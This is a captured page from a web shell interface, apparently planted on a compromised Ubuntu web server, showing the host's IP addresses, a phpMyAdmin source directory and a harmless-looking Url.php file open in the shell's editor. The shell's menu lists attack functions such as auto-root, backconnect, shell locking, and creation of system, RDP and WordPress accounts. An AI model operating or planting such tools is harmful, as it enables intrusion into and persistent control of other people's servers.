Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.118.37.224
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Url.php
<?php /** * Static methods for URL/hidden inputs generating */ declare(strict_types=1); namespace PhpMyAdmin; use PhpMyAdmin\Crypto\Crypto; use PhpMyAdmin\Tests\UrlTest; use function base64_decode; use function base64_encode; use function htmlspecialchars; use function http_build_query; use function in_array; use function ini_get; use function is_array; use function is_string; use function json_encode; use function method_exists; use function str_contains; use function strtr; /** * Static methods for URL/hidden inputs generating */ class Url { private static string|null $inputArgSeparator = null; /** * Generates text with hidden inputs. * * @see Url::getCommon() * * @param string|mixed[] $db optional database name (can also be an array of parameters) * @param string $table optional table name * @param string|mixed[] $skip do not generate a hidden field for this parameter (can be an array of strings) * * @return string string with input fields */ public static function getHiddenInputs( string|array $db = '', string $table = '', string|array $skip = [], ): string { if (is_array($db)) { $params =& $db; } else { $params = []; if ($db !== '') { $params['db'] = $db; } if ($table !== '') { $params['table'] = $table; } } $config = Config::getInstance(); if (Current::$server > 0 && Current::$server !== $config->settings['ServerDefault']) { $params['server'] = Current::$server; } if (empty($config->getCookie('pma_lang')) && ! empty($GLOBALS['lang'])) { $params['lang'] = $GLOBALS['lang']; } if (! is_array($skip)) { if (isset($params[$skip])) { unset($params[$skip]); } } else { foreach ($skip as $skipping) { if (! isset($params[$skipping])) { continue; } unset($params[$skipping]); } } return self::getHiddenFields($params); } /** * create hidden form fields from array with name => value * * <code> * $values = array( * 'aaa' => aaa, * 'bbb' => array( * 'bbb_0', * 'bbb_1', * ), * 'ccc' => array( * 'a' => 'ccc_a', * 'b' => 'ccc_b', * ), * ); * echo Url::getHiddenFields($values); * * // produces: * <input type="hidden" name="aaa" Value="aaa"> * <input type="hidden" name="bbb[0]" Value="bbb_0"> * <input type="hidden" name="bbb[1]" Value="bbb_1"> * <input type="hidden" name="ccc[a]" Value="ccc_a"> * <input type="hidden" name="ccc[b]" Value="ccc_b"> * </code> * * @param mixed[] $values hidden values * @param string $pre prefix * @param bool $isToken if token already added in hidden input field * * @return string form fields of type hidden */ public static function getHiddenFields(array $values, string $pre = '', bool $isToken = false): string { $fields = ''; /* Always include token in plain forms */ if ($isToken === false && isset($_SESSION[' PMA_token '])) { $values['token'] = $_SESSION[' PMA_token ']; } foreach ($values as $name => $value) { if ($pre !== '') { $name = $pre . '[' . $name . ']'; } if (is_array($value)) { $fields .= self::getHiddenFields($value, $name, true); } else { // do not generate an ending "\n" because // Url::getHiddenInputs() is sometimes called // from a JS document.write() $fields .= '<input type="hidden" name="' . htmlspecialchars((string) $name) . '" value="' . htmlspecialchars((string) $value) . '">'; } } return $fields; } /** * Generates text with URL parameters. * * <code> * $params['myparam'] = 'myvalue'; * $params['db'] = 'mysql'; * $params['table'] = 'rights'; * // note the missing ? * echo 'script.php' . Url::getCommon($params); * // produces with cookies enabled: * // script.php?myparam=myvalue&db=mysql&table=rights * // with cookies disabled: * // script.php?server=1&lang=en&myparam=myvalue&db=mysql * // &table=rights * * // note the missing ? * echo 'script.php' . Url::getCommon(); * // produces with cookies enabled: * // script.php * // with cookies disabled: * // script.php?server=1&lang=en * </code> * * @param array<string,int|string|bool> $params optional, Contains an associative array with url params * @param string $divider optional character to use instead of '?' * @param bool $encrypt whether to encrypt URL params * * @return string string with URL parameters */ public static function getCommon(array $params = [], string $divider = '?', bool $encrypt = true): string { return self::getCommonRaw($params, $divider, $encrypt); } /** * Generates text with URL parameters. * * <code> * $params['myparam'] = 'myvalue'; * $params['db'] = 'mysql'; * $params['table'] = 'rights'; * // note the missing ? * echo 'script.php' . Url::getCommon($params); * // produces with cookies enabled: * // script.php?myparam=myvalue&db=mysql&table=rights * // with cookies disabled: * // script.php?server=1&lang=en&myparam=myvalue&db=mysql * // &table=rights * * // note the missing ? * echo 'script.php' . Url::getCommon(); * // produces with cookies enabled: * // script.php * // with cookies disabled: * // script.php?server=1&lang=en * </code> * * @param array<string|int,int|string|bool> $params optional, Contains an associative array with url params * @param string $divider optional character to use instead of '?' * @param bool $encrypt whether to encrypt URL params * * @return string string with URL parameters */ public static function getCommonRaw(array $params = [], string $divider = '?', bool $encrypt = true): string { // avoid overwriting when creating navigation panel links to servers $config = Config::getInstance(); if ( Current::$server > 0 && Current::$server !== $config->settings['ServerDefault'] && ! isset($params['server']) && ! $config->get('is_setup') ) { $params['server'] = Current::$server; } // Can be null when the user is missing an extension. if (empty($config->getCookie('pma_lang')) && ! empty($GLOBALS['lang'])) { $params['lang'] = $GLOBALS['lang']; } $query = self::buildHttpQuery($params, $encrypt); if (($divider !== '?' && $divider !== self::getArgSeparator()) || $query !== '') { return $divider . $query; } return ''; } /** * @param array<int|string, mixed> $params * @param bool $encrypt whether to encrypt URL params */ public static function buildHttpQuery(array $params, bool $encrypt = true): string { if ($params === []) { return ''; } $separator = self::getArgSeparator(); if (! $encrypt || ! Config::getInstance()->get('URLQueryEncryption')) { return http_build_query($params, '', $separator); } $data = $params; $keys = [ 'db', 'table', 'field', 'sql_query', 'sql_signature', 'where_clause', 'goto', 'back', 'message_to_show', 'username', 'hostname', 'dbname', 'tablename', ]; $paramsToEncrypt = []; foreach ($params as $paramKey => $paramValue) { if (! in_array($paramKey, $keys)) { continue; } $paramsToEncrypt[$paramKey] = $paramValue; unset($data[$paramKey]); } if ($paramsToEncrypt !== []) { $data['eq'] = self::encryptQuery((string) json_encode($paramsToEncrypt)); } return http_build_query($data, '', $separator); } public static function encryptQuery(string $query): string { $crypto = new Crypto(); return strtr(base64_encode($crypto->encrypt($query)), '+/', '-_'); } public static function decryptQuery(string $query): string|null { $crypto = new Crypto(); return $crypto->decrypt(base64_decode(strtr($query, '-_', '+/'))); } /** * Returns url separator character used for separating url parts. * * Extracted from 'arg_separator.input' as set in php.ini, but prefers '&' and ';'. * * @see https://www.php.net/manual/en/ini.core.php#ini.arg-separator.input * @see https://www.w3.org/TR/1999/REC-html401-19991224/appendix/notes.html#h-B.2.2 */ public static function getArgSeparator(): string { if (is_string(self::$inputArgSeparator)) { return self::$inputArgSeparator; } $separator = self::getArgSeparatorValueFromIni(); if (! is_string($separator) || $separator === '' || str_contains($separator, '&')) { return self::$inputArgSeparator = '&'; } if (str_contains($separator, ';')) { return self::$inputArgSeparator = ';'; } // uses first character return self::$inputArgSeparator = $separator[0]; } /** @return string|false */ private static function getArgSeparatorValueFromIni(): string|bool { /** @phpstan-ignore-next-line */ if (method_exists(UrlTest::class, 'getInputArgSeparator')) { return UrlTest::getInputArgSeparator(); } return ini_get('arg_separator.input'); } /** * @param string $route Route to use * @param mixed[] $additionalParameters Additional URL parameters */ public static function getFromRoute(string $route, array $additionalParameters = []): string { return 'index.php?route=' . $route . self::getCommon($additionalParameters, self::getArgSeparator()); } }
Close